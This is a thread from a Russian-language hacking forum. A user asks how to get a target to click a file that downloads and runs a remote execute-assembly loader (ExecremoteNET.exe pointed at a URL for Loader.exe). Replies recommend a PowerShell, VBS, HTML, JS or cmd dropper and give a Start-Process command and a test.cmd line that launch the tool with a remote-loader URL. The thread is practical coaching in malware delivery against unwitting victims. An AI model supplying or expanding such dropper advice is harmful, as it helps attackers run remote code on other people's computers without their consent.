• XSS.stack #1 – первый литературный журнал от юзеров форума

Hardcoded link inside exe

kokoganev

RAID-массив
Пользователь
Регистрация
12.07.2022
Сообщения
87
Реакции
42
Hey guys , I'm trying to understand one repository and I hope you will help me.
It's a remote execute-assembly.
So I'm creating a .exe /called ExecremoteNet.exe/ file using the .sln. The example is:
"
ExecremoteNET.exe <url> <assembly args>"
and when I run it on my PC like this :
Execremotenet.exe <url to Loader.exe> <assembly args> it's working, BUT
I don't know what to send to the target so when he click on the file the InmemoryNet.exe to be downloaded and then the command ExecremoteNET.exe <url to Loader.exe> <assembly args> to be executed.

I know it a lame question but obviously I'm a newbie and I need your help.
Thanks in advance
This is the repository:
 
You can create a small loader or a powershell script that will drop the first executable
and then pass the required parameters to it. Example:
 
what to send to the target so when he click on the file the InmemoryNet.exe to be downloaded and then the command ExecremoteNET.exe <url to Loader.exe> <assembly args> to be executed.
use a language that is built in windows like powershell, vbs, html, js... and call the executable with arguments

example in powershell
Start-Process -NoNewWindow -FilePath "ExecremoteNET.exe" -ArgumentList "<url to Loader.exe>", "<assembly args>"

or use cmd by Creating a new file and naming it test.cmd
ExecremoteNET.exe <url to Loader.exe> <assembly args>
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх